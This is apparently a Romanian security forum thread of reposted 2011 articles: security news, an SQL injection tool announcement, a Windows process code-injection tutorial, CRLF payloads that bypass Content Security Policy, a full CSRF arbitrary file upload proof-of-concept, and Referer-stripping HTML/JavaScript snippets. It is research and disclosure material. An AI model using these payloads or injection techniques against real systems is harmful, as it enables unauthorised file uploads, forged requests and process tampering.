Nytro

The Mole - Another Automatic SQL Injection exploitation tool The Mole is an automatic SQL Injection exploitation tool. Only by providing a vulnerable URL and a valid string on the site it can detect the injection and exploit it, either by using the union technique or a boolean query based technique. Features Support for injections using Mysql, SQL Server, Postgres and Oracle databases. Command line interface. Different commands trigger different actions. Auto-completion for commands, command arguments and database, table and columns names. Support for query filters, in order to bypass certain IPS/IDS rules using generic filters, and the possibility of creating new ones easily. Exploits SQL Injections through GET and POST methods. Developed in python 3. Video Demonstration: 1.) Installation Guide 2.) Tutorial to Use 3.) Download Mole Download: http://themole.sourceforge.net/?q=downloads Sursa: The Mole - Another Automatic SQL Injection exploitation tool | The Hacker News (THN)

Denial of Service Attack Vulnerability in Windows Phone 7.5 Microsoft's range of Windows Phones suffer from a denial-of-service attack bug that allows attackers to reboot the device and disable the messaging functionality on a device. A malicious SMS sent to a Windows Phone 7.5 device will force it to reboot and lock down the messaging hub . WinRumors reader Khaled Salameh discovered the flaw and reported it to us on Monday. WinRumors said tests revealed that the flaw affected a variety of devices running different builds of the mobile operating system. A Facebook chat message and Windows Live Messenger message will also trigger the bug. Video Demonstration Both Apple and Google have suffered from SMS bugs with their iOS and Android devices. Security researcher Charlie Miller discovered a flaw in the iOS 3.0 software that allowed attackers complete control over an iPhone at the time. Android-based phones also suffered in the SMS attack, but attackers could only knock a phone offline rather than gain full access. Microsoft representatives did not immediately respond to a request for comment, but WinRumors says it is working with the tipster to privately reveal the flaw to Microsoft. Sursa: Windows Phone 7.5 Denial of Service Attack Vulnerability (Video Demonstration) | The Hacker News (THN)

Apple Crash Reports Help Hackers to create a jailbreak exploit iPhone "jailbreaking" has been a hot topic since Apple released its smartphone more than two years ago. According to the Latest report posted by BBC that Thousands of iPhone owners have joined forces with a team of hackers to help them find new ways to jailbreak Apple's phone software & Jailbreakers use Apple crash reports to unlock iPhones. You may be wondering and hearing alot on “What Is Jailbreaking an Iphone? How do you do that?” Jailbreaking is basically modifying the iPhone’s firmware so that you can get access to the internals of its operating system and install a whole slew of third-party applications on your iPhone that are not otherwise available through official channels.Jailbreaking your iPhone in and of itself doesn’t normally make much difference in your operation of it, but it does allow you to install other third-party applications that are not blessed by Apple. A collective of hackers known as the iPhone Dev-Team publishes easy-to-use, cross-platform tools that allow you to install third-party apps on your iPhone that Apple won't admit into its App Store. The latest version of the iPhone's operating system is proving to be extremely hard to jailbreak fully, according to Joshua Hill, a member of the Chronic Dev hacker team."Apple is really making it tough for us. The iPhone is now better protected than most nuclear missile facilities," he says. Jailbreaking your iOS device also enables you to change your phone’s behavior and even add some nifty extra features. One such feature that Apple prohibited was FaceTime or any demanding data tasks over 3G. How Hackers Develop a Jailbreak application ? Well, Hackers like Mr Hill hunt for programming errors, or bugs, in Apple's software. Bugs may result in a program crashing or shutting down, and they are like gold dust to hackers because sometimes they can be exploited to create a jailbreak. Hackers may have to crash a particular program thousands of times as they work out how to exploit a bug successfully, but this alerts Apple that the bug exists and that hackers may be investigating it. Phone manufacturers don’t want you to do it because of the small number of cases in which it can make the phone unstable or open it up to security breaches. It then makes them look bad because it’s their phone that’s crashing or introducing malware to your network. But Users Hate hate it even more because it can cost them money. They even go so far as to cripple features that the phone makers build in, so they can charge you an extra fee for the same service. One example is Wi-Fi hotspot capability, for which carriers charge up to $30 per month when you can do the same thing on a rooted phone with no extra fees using a free or low, one-time-cost app. Some carriers also don’t want you running apps like Skype to make phone calls instead of using expensive cellular voice minutes. Chronic Dev is ready to turn this little information battle into an all-out, no-holds-barred information WAR. A program called CDevreporter that iPhone users can download to their PC or Mac. The program intercepts crash reports from their phones destined for Apple and sends them to the Chronic Dev team. "In the first couple of days after we released CDevreporter we received about twelve million crash reports," he says. "I can open up a crash report and pretty much tell if it will be useful or not for developing a jailbreak, but we have so many that I am working on an automated system to help me analyse them." Is Jailbreaking Legal ? In July,2010 The United States government announced that jailbreaking and unlocking iPhones, rooting of Android phones and ripping DVDs (for educational purposes) is completely legal as long as they are not violating copyright law. It is also apparently not illegal to jailbreak devices in the UK, although it does invalidate product warranties, according to Simon Halberstam, technology law expert and partner at Kingsley Napley. Apple tries to prevent jailbreaking for security reasons once a phone has been jailbroken users could unwittingly install malware that might not get past Apple's approval process. Mr Hill rejects this argument: "I am trying to make sure that my phone is safe and your phone is safe. Apple cares about money, not your safety." As yet the Chronic Dev team has not announced that it has found any bugs that it can exploit, but a member of the team called pod2g claims to have found a way to create an untethered jailbreak anyway. Even if Apple fixes the bug that makes this jailbreak possible, Mr Hill is confident that the hackers will find more ways. Sursa: Apple Crash Reports Help Hackers to create a jailbreak exploit | The Hacker News (THN)

Iranian engineer hijack U.S. drone by GPS hack An Iranian engineer working on the captured US drone has said that Iran exploited a weakness in the craft’s navigation system to hijack it. The aircraft was downed through a relatively unsophisticated cyber-attack that tricked its global positioning systems (GPS). The technique, known as “GPS spoofing” has been around for several years, and the Iranians began studying it in 2007, the engineer reportedly said. The U.S. Department of Energy notes that GPS is widely used, but insecure, although few users have taken note. GPS signals for the U.S. military are similarly insecure, and drones often rely on signals from multiple satellites. It’s possible to spoof unencrypted civilian GPS systems. But military GPS receivers, such as the one likely installed on the missing drone, use the encrypted P(Y)-code to communicate with satellites. “With spoofing, an adversary provides fake GPS signals. This convinces the GPS receiver that it is located in the wrong place and/or time,” the vulnerability assessment team at Argonne National Laboratory explained. “Remarkably, spoofing can be accomplished without having much knowledge about electronics, computers, or GPS itself.” Other drone vulnerabilities have also highlighted security fears. In October, Danger Room broke the news that the cockpits at the Air Force’s drone fleet based out of Creech Air Force Base in Nevada were infected with a virus. Malware had apparently made its way onto computers because someone had been using one to play the Mafia Wars game a stunning security faux pas. The RQ-170 Sentinel has been seen on display by Iran's gloating military after it went missing along the Afghan-Iran border earlier this month - but a former Pentagon official said it seems to be a fake. However the engineer working on the CIA drone’s system told the Christian Science Monitor that his country fooled the aircraft into touching down in Iran - instead of its programmed destination.The engineer claimed the electronic attack made it 'land on its own where we wanted it to, without having to crack the remote-control signals and communications' from the U.S. control centre. The drone was used for covert surveillance such as the operation to spy on the Pakistan compound of Osama Bin Laden before he was killed in a U.S. raid in May.Iranian officials have said the drone came down over eastern Iran, hundreds of miles from the cluster of nuclear sites in the central and north-west of the country.They believe they can 'mass produce' the captured drone by 'reverse engineering' the aircraft. Sursa: Iranian engineer hijack U.S. drone by GPS hack [Video Explanation] | The Hacker News (THN)

[h=3]Executable Code Injection the Interesting Way[/h][h=2]Friday, December 16, 2011[/h] So. Executable code injection. In general, this term is associated with malicious intent. It is true in many cases, but in, at least, as many, it is not. Being malware researcher for the most of my career, I can assure you, that this technique appears to be very useful when researching malicious software, as it allows (in most cases) to defeat its protection and gather much of the needed information. Although, it is highly recommended not to use such approach, sometimes it is simply unavoidable. There are several ways to perform code injection. Let's take a look at them. DLL Injection The most simple way to inject a DLL into another process is to create a remote thread in the context of that process by passing the address of the LoadLibrary API as a ThreadProc. However, it appears to be unreliable in modern versions of Windows due to the address randomization (which is currently not true, but who knows, may be once it becomes real randomization). Another way, a bit more complicated, implies a shell code to be injected into the address space of another process and launched as a remote thread. This method offers more flexibility and is described here. Manual DLL Mapping Unfortunately, it has become fashionable to give new fancy names to the old good techniques. Manual DLL Mapping is nothing more than a complicated code injection. Why complicated, you may ask - because it involves implementation of custom PE loader, which should be able to resolve relocations. Adhering the Occam's Razor principle, I take the responsibility to claim, that it is much easier and makes more sense to simply allocate memory in another process using VirtualAllocEx API and inject the position independent shell code. Simple Code Injection As the title of this section states, this is the simplest way. Allocate a couple of memory blocks in the address space of the remote process using VirtualAllocEx (one for code and one for data), copy your shell code and its data into those blocks and launch it as a remote thread. All the methods listed above are covered well on the Internet. You may just google for "code injection" and you will get thousands of well written tutorials and articles. My intention is to describe a more complex, but also a more interesting way of code injection (in a hope that you have nothing else to do but try to implement this). Before we start: Another note for nerds. The code in this article does not contain any security checks unless it is needed as an example. This is not malware writing tutorial, so I do not care whether the AV alerts when you try to use this method. No, manual DLL mapping is not better ;-). Neither do I care about how stable this solution is. If you decide to implement this, you will be doing it at your own risk. Now, let's have some fun. Disk vs Memory Layout Before we proceed with the explanation, let's take a look at the PE file layout, whether on disk or in memory, as our solution relies on that. This layout is logically identical for both PE files on disk and PE files in memory. The only differences are that some parts may not be present in memory and, the most important for us, on disk items are aligned by "File Alignment" while in memory they are aligned by "Page Alignment" values, which, in turn may be found in the Optional Header. For full PE COFF format reference check here. Right now, we are particularly interested in sections that contain executable code ((SectionHeader.characteristics & 0x20000020) != 0). Usually, the actual code does not fill the whole section, leaving some parts simply padded by zeros. For example, if our code section only contains 'ExitProcess(0)', which may be compiled into 8 bytes, it will still occupy FileAlignment bytes on disk (usually 0x200 bytes). It will take even more space in memory, as the next section may not be mapped closer than this_section_virtual_address + PageAlignement (in this particular case), which means that if we have 0x1F8 free bytes when the file is on disk, we'll have 0xFF8 free bytes when the file is loaded in memory. The "formula" to calculate available space in code section is next_section_virtual_address - (this_section_virtual_address + this_section_virtual_size) as virtual size is (usually) the amount of actual data in section. Remember this, as that is the space that we are going to use as our injection target. It may happen, that the target executable does not have enough spare space for our shell code, but let this not bother you too much. A process contains more than one module (the main executable and all the DLLs). This means that you can look for spare space in the code sections of all modules. Why only code sections? Just in order not to mess too much with memory protection. Shellcode The first and the most important rule for shellcode - it MUST be position independent. In our case, this rule is especially unavoidable (if you may say so) as it is going to be spread all over the memory space (depends on the size of your shell code, of course). The second, but not less important rule - carefully plan your code according to your needs. The less space it takes, the easier the injection process would be. Let's keep our shell code simple. All it would do is interception of a single API (does not matter which one, select whichever you want from the target executable's import section), and show a message box each time that API is called (you should probably select ExitProcess for interception if you do not want the message box popping up all the time). Divide your shellcode into independent functional blocks. By independent, I mean that it should not have any direct or relative calls or jumps. Each block should have one data field, which would contain the address of the table containing addresses of all our functions (and data if needed). Such mechanism would allow us to spread the code all over the available space in different modules without the need to mess with relocations at all. The picture on the left and the diagram below will help you to better understand the concept. Init - our initialization function. Once the code is injected, you would want to call this function as a remote thread. Patch - this block is responsible for actually patching the import table with the address of our Fake. The code in each of the above blocks will have to access Data in order to retrieve addresses of functions from other blocks. Your initialization procedure would have to locate the KERNEL32.DLL in memory in order to obtain the addresses of LoadLibrary (yes, it would be better to use LoadLibrary rather then GetModuleHandle), GetProcAddress and VirtualProtect API functions which are crucial even for such a simple task as patching one API call. Those addresses would be stored in Data. The Injector While the shellcode is pretty trivial (at least in this particular case), the injector is not. It will not allocate memory in the address space of another process (if possible, of course). Instead, it will parse the the PEB (Process Environment Block) of the victim in order to get the list of loaded modules. Once that is done, it will parse section headers of every module in order to create list of available memory locations (remember, we prefer code sections only) and fill the Data block with appropriate addresses. Let's take a look at each step. First of all, it may be a good idea to suspend the process by calling SuspendThread function on each of its threads. You may want to read this post about threads enumeration. One more thing to remember is to open the victim process with the following flags: PROCESS_VM_READ | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION | PROCESS_SUSPEND_RESUME in order to be able to perform all the following operations. The function itself is quite simple: DWORD WINAPI SuspendThread(__in HANDLE hThread); Don't forget to resume all threads with ResumeThread once the injection is done. The next step would be calling the NtQueryInformationProcess function from the ntdll.dll. The only problem with it is that it has no associated import library and you will have to locate it with GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationProcess"), unless you have a way to explicitly specify it in the import table of your injector. Also, try LoadLibrary if the GetModuleHandle does not work for you. NTSTATUS WINAPI NtQueryInformationProcess( __in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, /* Use 0 in order to get the PEB address */ __out PVOID ProcessInformation, /* Pointer to the PROCESS_BASIC_INFORMATION structure */ __in ULONG ProcessInformationLength, /* Size of the PROCESS_BASIC_INFORMATION structure in bytes */ __out_opt PULONG ReturnLength ); typedef struct _PROCESS_BASIC_INFORMATION { PVOID ExitStatus; PPEB PebBaseAddress; PVOID AffinityMask; PVOID BasePriority; ULONG_PTR UniqueProcessId; PVOID InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATION; The NtQueryInformationProces will provide you with the address of the PEB of the victim process. This post will explain you how to deal with PEB content. Of course, you will not be able to access the that content directly (as it is in the address space of another process), so you will have to use WriteProcessMemory and ReadProcessMemory functions for that. BOOL WINAPI WriteProcessMemory( __in HANDLE hProcess, __in LPVOID lpBaseAddress, /* Address in another process */ __in LPCVOID lpBuffer, /* Local buffer */ __in SIZE_T nSize, /* Size of the buffer in bytes */ __out SIZE_T* lpNumberOfBytesWritten }; BOOL WINAPI ReadProcessMemory( __in HANDLE hProcess, __in LPCVOID lpBaseAddress, /* Address in another process */ __out LPVOID lpBuffer, /* Local buffer */ __in SIZE_T nSize, /* Size of the buffer in bytes */ __out SIZE_T* lpNumberOfBytesRead }; Due to the fact that you are going to deal with read only memory locations, you should call VirtualProtectEx in order to make those locations writable (PAGE_EXECUTE_READWRITE). Don't forget to restore memory access permissions to PAGE_EXECUTE_READ when you are done. BOOL WINAPI VirtualProtectEx( __in HANDLE hProcess, __in LPVOID lpAddress, /* Address in another process */ __in SIZE_T dwSize, /* Size of the range in bytes */ __in DWORD flNewProtect, /* New protection */ __out PDWORD lpflOldProtect }; You may also want to change the VirtualSize of those sections of the victim process you used for injection in order to cover the injected code. Just adjust it in the headers in memory. That's all folks. Let me leave the hardest part (writing the code) up to you this time. Hope this post was interesting and see you at the next. Posted by Alexey Lyashko at 12:50 AM Sursa: System Programming: Executable Code Injection the Interesting Way

Exploit firewire access against MAC OS X In my last paper [HACKMACOSX], I wrote a python script based on "libforensic1394" libraires to extract physical memory through firewire access. This shows you an exploitation of this script in a real scenario ... http://vimeo.com/33419578 Also, you can download this video :.avi / .m4v Download > HackMacOSX-TipsNTricks-1.1.pdf EN> The objective of this document is to present a variety of fun tricks (but not necessarily an exhaustive list) to compromise the Apple Mac OS X system. I plan to update this document following further research and the publication of subsequent new tricks concerning the Mac OS X. Please be indulgent, I’m not a security researcher and this paper was written in a few hours. In the current version (1.1), I included the recommendations to avoid the presented hacks in this paper. Sursa: Blog de Sud0man

Understanding The Linux Kernel, 3rd Edition Understanding The Linux Kernel, 3rd Edition (2005).chm 2.77 MB File description: Understanding the Linux Kernel will acquaint you with all the inner workings of Linux, but it's more than just an academic exercise. You'll learn what conditions bring out Linux's best performance, and you'll see how it meets the challenge of providing good system response during process scheduling, file access, and memory management in a wide variety of environments. This book will help you make the most of your Linux system. Download: http://www.megaupload.com/?d=DQZZSA7X

Cand am timp postez lucrurile mai interesante de pe forum (nu toate porcariile) si pe pagina Facebook. Dati Like daca va place sau daca aveti prieteni interesati de asa ceva recomandati-le pagina.

Are backup la zi, dar nu asta era problema. Datele erau in baza de date, doar ca nu mai corespundea forumid-ul. Practic a disparut decat linia categoriei "Ajutor" din tabelul cu forumuri, dar toate topicurile erau la locul lor.

Acum ceva timp, din cauza unor probleme tehnice, am pierdut in totalitate categoria "Ajutor", si am creat una temporara. Mi-am adus azi aminte de acest aspect si am incercat sa vad daca se poate face ceva. Pana acum 5 minute categoria si statisticile aratau asa: Dar am rulat 2 query-uri SQL si am ajuns la: Deci s-au recuperat cam 5000+ de topicuri si 30000+ posturi. Nu e foarte important, dar da bine la statistici.

This video shows you how-to get started using the Nessus vulnerability scanner, including: Where to download Nessus Introduction to policies, scans, and reports Performing an asset discovery scan Running a network-based vulnerability scan Configuring a patch uditing scan Performing a configuration audit Detecting sensitive data (SSN & credit cards) Running web application tests Reporting & filtering Risk analysis and compliance (PCI DSS) Video:

[h=2]Newfangled graphics engine for browsers fosters data theft[/h] The shady truth behind CSS shaders By Dan Goodin in San Francisco • Get more from this author Posted in Security, 14th December 2011 21:28 GMT Software developers at Google, Apple, Adobe, and elsewhere are grappling with the security risks posed by an emerging graphics technology, which in its current form could expose millions of web users' sensitive data to attackers. The technology, known as CSS shaders is designed to render a variety of distortion effects, such as wobbles, curling, and folding. It works by providing programming interfaces web developers can call to invoke powerful functions from an end user's graphics card. But it could also be exploited by malicious website operators to steal web-browsing history, Facebook identities, and other private information from unsuspecting users, Adam Barth, a security researcher on Google's Chrome browser warned recently. "Because web sites are allowed to display content that they are not allowed to read, an attacker can use a Forshaw-style CSS shader [to] read confidential information via the timing channel," Barth wrote in a December 3 post to his private blog. "For example, a web site could use CSS shaders to extract your identity from an embedded Facebook Like button. More subtly, a web site could extract your browsing history bypassing David Baron's defense against history sniffing. On the discussion list for developers of the WebKit browser engine, Barth and developers from Apple, Adobe, and Opera discussed the risks posed by the CSS shaders technology, which was submitted to the W3C as an industry standard in October. Some members argued the timing attack Barth contemplated wasn't practical because it would have to be customized to a particular browser and would took a long time to extract only a partial image displayed on an end user's monitor. "Even if you tuned a CSS attack to a given browser whose rendering behavior you understand, it would take many frame times to determine the value of a single pixel and even then I think the accuracy and repeatability would be very low," Apple developer Chris Marrin wrote in response. "I'm happy to be proven wrong about this, but I've never seen a convincing demo of any CSS rendering exploit." Barth conceded he was aware of no reliable proofs of concept demonstrating the attack, but he told The Register he's concerned the feature could expose users to a classic browse-and-get-hacked attack in which private information is stolen simply by visiting the wrong site. "For example, an attacker could apply a CSS shader to an iframe containing content from another web site," he wrote in an email. "If the attacker crafts a shader such that its run time depends on the contents of the iframe, the attacker could potentially steal sensitive data from that web site." He said that exploits might also expose the directory locations of sensitive files when users upload files to a website. The scenario outlined by Barth closely resembles a vulnerability disclosed in another graphics engine that's also emerging as an industry standard. In June, security researchers warned that a 3D-accelleration API known as WebGL also allowed websites to extract images displayed on a visitor's monitor. An accompanying proof-of-concept exploit stole images displayed on the Firefox browser by "spraying" memory in the computer's graphics card. The researchers said other browsers were probably also vulnerable. Barth said the vulnerability has since been fixed. Parts of the CSS shaders specification are available in nightly developer builds of the WebKit browser engine that form the underpinnings of the Chrome and Apple Safari browsers. Adobe has an internal build of WebKit that implements CSS shaders more completely. Barth said he's unaware of the technology shipping in working versions of any browser. And that means the coalition of developers still has time to fix the flaw before it can do any damage. "There are a number of defenses that we're discussing in the W3C CSS-SVG effects task force," Barth said. "In my view, the most promising approach is to find a subset of the GLSL shader language in which a shader always takes the same amount of time to run, regardless of the input. If we find such a subset, web sites would be able to use these effects without the browser leaking sensitive information into the timing channel." ® Sursa: Newfangled graphics engine for browsers fosters data theft • The Register

[h=3]Evading Content Security Policy with CRLF Injection[/h] [h=2]Tuesday, December 13, 2011[/h]By Gursev Kalra. Content Security Policy (CSP) was developed with the aim of reducing content injection attacks like Cross Site Scripting. CSP allows the developers to specify the permitted content sources for their web applications and relies on HTTP response headers to enforce content restrictions. When CSP is implemented by the web application and supported by the web browser, content injection attacks can be performed by: Exploiting flaws in browser CSP implementation Manipulating HTTP response headers. CRLF injection is one possible technique by which an attacker can control HTTP response headers. If client provided parameters are returned in response headers without any validation, CRLF injection can be used to bypass CSP restrictions. For demonstrations, two web pages were setup with the following content at two different origins Webpage 1: http://localhost:3000/csp Content: http://localhost:3333/xss.js Webpage 2: http://localhost:3333/xss.js Content: alert('XSS’) CRLF Injection and CSP: If a HTTP response contains same HTTP header multiple times, different browsers interpret the headers differently. Certain browsers interpret the first occurrence of the HTTP header, others choose the last one. Hence, positioning of CSP directive (X-Content-Security-Policy) in application response can play an interesting role. In the discussion below, we assume that the web application implements CSP and is vulnerable to CRLF injection: Case 1: Attack vector is returned before the CSP header in the HTTP response headers: Case 1a: If the browser picks the first occurrence of the CSP header, CRLF injection can then be used to insert a CSP header with following attack vector: lang=en_US%0d%0aX-Content-Security-Policy: allow * In this case, the web browser will interpret the first CSP header and will happily retrieve content from any malicious URL. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD=class: tr-caption]Image shows malicious CSP directive inserted before the legitimate header [/TD] [/TR] [/TABLE] Case 1b: If the browser picks the last occurrence of the CSP header, following CRLF injection attack vector can be used to insert custom CSP header. lang=en_US%0d%0aX-Content-Security-Policy: allow *%0d%0a%0d%0a Two trailing occurrences of CRLF will push the CSP directive into the content and will not be interpreted as a CSP directive. This again allows attacker to bypass CSP protection and execute and source arbitrary content. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD=class: tr-caption]Image shows CSP directive pushed out to response body and rendered ineffective [/TD] [/TR] [/TABLE] Case 2: Attack vector is returned after the CSP header in the HTTP response headers Case 2a: If the browser picks the first occurrence of the CSP header, the CSP directive cannot be overridden for the current resource. For an attack to function one has to look into the possibility of exploiting HTTP Response Splitting. Case 2b: If the browser picks the last occurrence of the CSP header, CRLF injection can be used to insert a malicious header similar to case 1a. lang=en_US%0d%0aX-Content-Security-Policy: allow * This will cause the browser to interpret the CSP directive as allow * to retrieve content from arbitrary URLs. It was observed that when more than one X-Content-Security-Policy headers were received by Firefox (7.0.1), it securely defaulted to same origin policy for all content. The POC below pushes the headers out to the response body by two CRLF sequences to achieve script execution. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD=class: tr-caption]Image shows script execution prevented from a different origin (http://localhost:3333) [/TD] [/TR] [/TABLE] [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Image shows successful script execution when the page was vulnerable CRLF injection [/TD] [/TR] [/TABLE] Sursa: Open Security Research: Evading Content Security Policy with CRLF Injection

Se vede in videoclip. Gaseste pe un site paginile catre care se face request AJAX, nu doar legaturile statice.

CSRF arbitrary file upload [h=2]Thursday, 15 December 2011[/h] [h=3]CSRF - File Upload PoC[/h] A couple of weeks ago I have found myself working on a CSRF File Upload Proof-of-Concept (PoC) for a bug I have found in an Oracle product. I remember that Krzysztof Kotowicz did some research on a similar PoC not long time ago. A quick Google search brought me to his article on invisible arbitrary file upload in Flickr. So instead of reinventing the wheel, I have tried to use his PoC code available here. Unfortunately, the code was not working in my case and I was unsure whether that was depending on the browsers I was using (Firefox 8.0.1 and Chrome 15.0.874.121) and/or on the vulnerable application itself. Consequently, I have spent some time to come up with a PoC (or probably a good term would be a collage) which would work in my case. The technique used is the same illustrated in Kotowicz's research and more information can be found here. In few words, the exploitation process is divided in two steps: 1) Use XHR to get a binary file and store it as a JavaScript object; 2) Then perform a cross-domain XHR POST request (using CORS) to send/upload the binary file to the vulnerable application. Here is the PoC I have composed by taking pieces of code from different parts. For the curios reader, here is the diff output between my PoC and Kotowicz's one. Following is a short summary of the collage: Supporting multiple parameters I just reused the same functions in Kotowicz's Flickr PoC to support multiple POST parameters. Grabbing the binary file I am using snippet code from here - the getBinary() function works fine in the latest Firefox (8.x) and Chrome (15.0.874.121). Blob Type I have integrated sendUpload() function into the fileUpload() one, with a modification around the Blob type, which is used to store the binary file. Below is the modified line: var bb = new (window.BlobBuilder || window.WebKitBlobBuilder)(); This change was done because Chrome was complaining about the New BlobBuilder data type used in the original sendUpload() function. Further Notes The getBinary() function is used to get the file and considering CRSF occurs from a malicious site, then there are no issues with SOP, as the malicious file is served from the same domain. A minor issue that I encountered during this work was related to single and double quotes in the filename value. In Kotowicz's original PoC, the Content-Disposition: header is set as an "attachment". The filename value is quoted with single quotes. However, in my case the single quotes PoC was not working. I have noticed that Firefox and Chrome automatically quote the filename with double quotes when the upload is performed with user interaction. The excerpt below is from an intercepted file upload request with Firefox: POST /vulnerableappupload HTTP/1.1 Host: apphost [snip] Content-Type: multipart/form-data; boundary=---------------------------9040894219264 Content-Length: YYYY -----------------------------9040894219264 Content-Disposition: form-data; name="extraParam1" value1 -----------------------------9040894219264 Content-Disposition: form-data; name="extraParam2" value2 -----------------------------9040894219264 Content-Disposition: form-data; name="filenameId"; filename="test.png" Content-Type: image/png [snip] [I][FONT=Times New Roman][FONT=Arial][/FONT][/FONT][/I] However, in some cases, it is possible to successfully upload a file by submitting the filename between single quotes or even without quotes. It depends on the way the file upload application functionality parses the Content-Disposition: header and related values from the browser. Beside, I also did realise (lately) that there was a more recent PoC commit pushed by Kotowicz which was using the double quotes approach. My bad for missing it, as it would have saved quite some time. Anyway, I got curios about the single quote/double quote issue and I had checked the RFC 2813. It doesn't specify whether the filename value has to be enclosed with single quotes or double quotes, so I am assuming that depends on the browser. Actually, in the examples included in the RFC 2813, the filename doesn't have quotes at all! For those readers who are more interested, here is a page including a comprehensive testing conducted against the Content-Disposition header using different browsers. Another minor note should be paid to the boundary value used in the file upload. The boundary in a multipart/byte request is a MIME boundary. This boundary value should not appear anywhere else in the data except between the multiple parts of the data. Also, the boundary value has to be the same to separate each part, so if you intend to reuse the PoC make sure you don't mess with that. I did that resulting in further wasted time . Constraint The PoC would only work for a single step file upload process. If the application requires multiple steps to complete the file upload, then further logic needs to be added to the PoC. <!DOCTYPE html> <html> <body> <h1>CSRF arbitrary file upload</h1> <br><br> This is a Proof-of-Concept - the start() function can be invoked automatically.<br><br> This is a variation of the technique demonstrated here: http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html<br><br> Other pieces of code were taken from: http://hublog.hubmed.org/archives/001941.html<br><br> Tested succesfully with:<br><br> Firefox 8.0 and 8.0.1<br><br> Chrome 14.0.835.202 and Chrome 15.0.874.121<br><br> <button type="button" id="upload" onclick="start()"><font size="+2">Upload File</font></button> <script> var logUrl = 'http://vulnappfileupload'; // edit this entry function fileUpload(fileData, fileName) { var fileSize = fileData.length, boundary = "---------------------------270883142628617", // edit this entry uri = logUrl, xhr = new XMLHttpRequest(); var additionalFields = { // in case multiple parameters need to be supplied param1 : "value1", // edit this entry param2 : "value2", // edit this entry "param3" : "value3" // edit this entry } if (typeof XMLHttpRequest.prototype.sendAsBinary == "function") { // Firefox 3 & 4 var tmp = ''; for (var i = 0; i < fileData.length; i++) tmp += String.fromCharCode(fileData.charCodeAt(i) & 0xff); fileData = tmp; } else { // Chrome 9 // http://javascript0.org/wiki/Portable_sendAsBinary XMLHttpRequest.prototype.sendAsBinary = function(text){ var data = new ArrayBuffer(text.length); var ui8a = new Uint8Array(data, 0); for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff); var bb = new (window.BlobBuilder || window.WebKitBlobBuilder)(); bb.append(data); var blob = bb.getBlob(); this.send(blob); } } var fileFieldName = "filename_parameter"; // edit this entry xhr.open("POST", uri, true); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary); // simulate a file MIME POST request. xhr.setRequestHeader("Content-Length", fileSize); xhr.withCredentials = "true"; xhr.onreadystatechange = function() { if (xhr.readyState == 4) { if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) { if (xhr.responseText != "") { alert(JSON.parse(xhr.responseText).msg); } } else if (xhr.status == 0) { } } } var body = ""; for (var i in additionalFields) { if (additionalFields.hasOwnProperty(i)) { body += addField(i, additionalFields[i], boundary); } } body += addFileField(fileFieldName, fileData, fileName, boundary); body += "--" + boundary + "--"; xhr.sendAsBinary(body); return true; } function addField(name, value, boundary) { var c = "--" + boundary + "\r\n" c += 'Content-Disposition: form-data; name="' + name + '"\r\n\r\n'; c += value + "\r\n"; return c; } function addFileField(name, value, filename, boundary) { var c = "--" + boundary + "\r\n" c += 'Content-Disposition: form-data; name="' + name + '"; filename="' + filename + '"\r\n'; c += "Content-Type: application/octet-stream\r\n\r\n"; // edit this entry if required c += value + "\r\n"; return c; } function getBinary(file){ var xhr = new XMLHttpRequest(); xhr.open("GET", file, false); xhr.overrideMimeType("text/plain; charset=x-user-defined"); xhr.send(null); return xhr.responseText; } function start() { var c = getBinary('maliciousfile.xxx'); // edit this entry fileUpload(c, "maliciousfile.xxx"); // edit this entry } </script> </body> </html> Sursa: malerisch.net: CSRF - File Upload PoC POC: https://github.com/malerisch/blog-kotowicz-net-examples/blob/master/crossdomain-upload/evil/upload.html

[h=3]Bye bye, Referrer...[/h] 10 Dec, 2011 with 0 Comments The checking of the HTTP referer is sometime used to prevent CSRF by accepting requests only from trusted sources. Some developers adopt the following basic designs without considering the possibility to use random tokens. If a request lacks the header, the site accepts the request (lenient Referer validation) If a request lacks the header, do not accept it at all (strict Referer validation) None of these techinques are satisfactory in terms of security; the first one allows an attacker to suppress the header and make the application consider as trusted a malicious request, the second one incurs a compatibility penalty. Maybe the future is in the Origin header, but at the moment the best way to prevent CSRF attacks is using random tokens. Krzysztof Kotowicz made an interesting research, showing which are the methods for client side only referrer stripping in POST & GET requests. I hardly encourage you to take a look at his blogpost. I tried to further investigate in order to discover some other ways to suppress the referer, here follows an exahustive scheme. Let's assume http://target.xx as the target URL, all tests were done in: Firefox 8.0, Opera 11.60, IE 9, Chrome 15, Safari 5.1.1. GET method // Firefox <script> location="jar:http://target.xx!/"; </script> // Firefox <script> location="javascript:'<html><meta http-equiv=\"refresh\" content=\"0; url=http://target.xx\"></html>'"; </script> // Chrome, Safari <a rel="noreferrer" href="http://target.xx">click me</a> // Chrome, Safari <img src ="x.jpg" width="145" height="126" usemap ="#s" /> <map name="s"> <area shape="rect" coords="0,0,82,126" href="http://target.xx" rel="noreferrer"/> </map> POST method // Firefox getAppletContext().showDocument(new URL("javascript:'<form id=x method=POST action=\"http://target.xx\" ></form><script>document.getElementById(\"x\").submit()</script>'")); // Firefox <script> location="javascript:'<form id=x method=POST action=\"http://target.xx\" ></form><script>document.getElementById(\"x\").submit()</sc"+"ript>'"; </script> // Firefox, Chrome, Safari <a href="data:text/html,<form id=x method=POST action=http://target.xx' ></form><script>document.getElementById('x').submit()</script>">click me</a> // Firefox, Chrome, Safari <img src ="x.jpg" width="145" height="126" usemap ="#s" /> <map name="s"> <area shape="rect" coords="0,0,82,126" href="data:text/html,<form id=x method=POST action='http://target.xx' ></form><script>document.getElementById('x').submit()</script>" /> </map> About the first one, it is pretty weird because of the jar scheme: actually the target URL will not be displayed, FF will return an "Unsafe File Type" page. However the GET request is submitted to the server, so it reaches the application. As you can see, 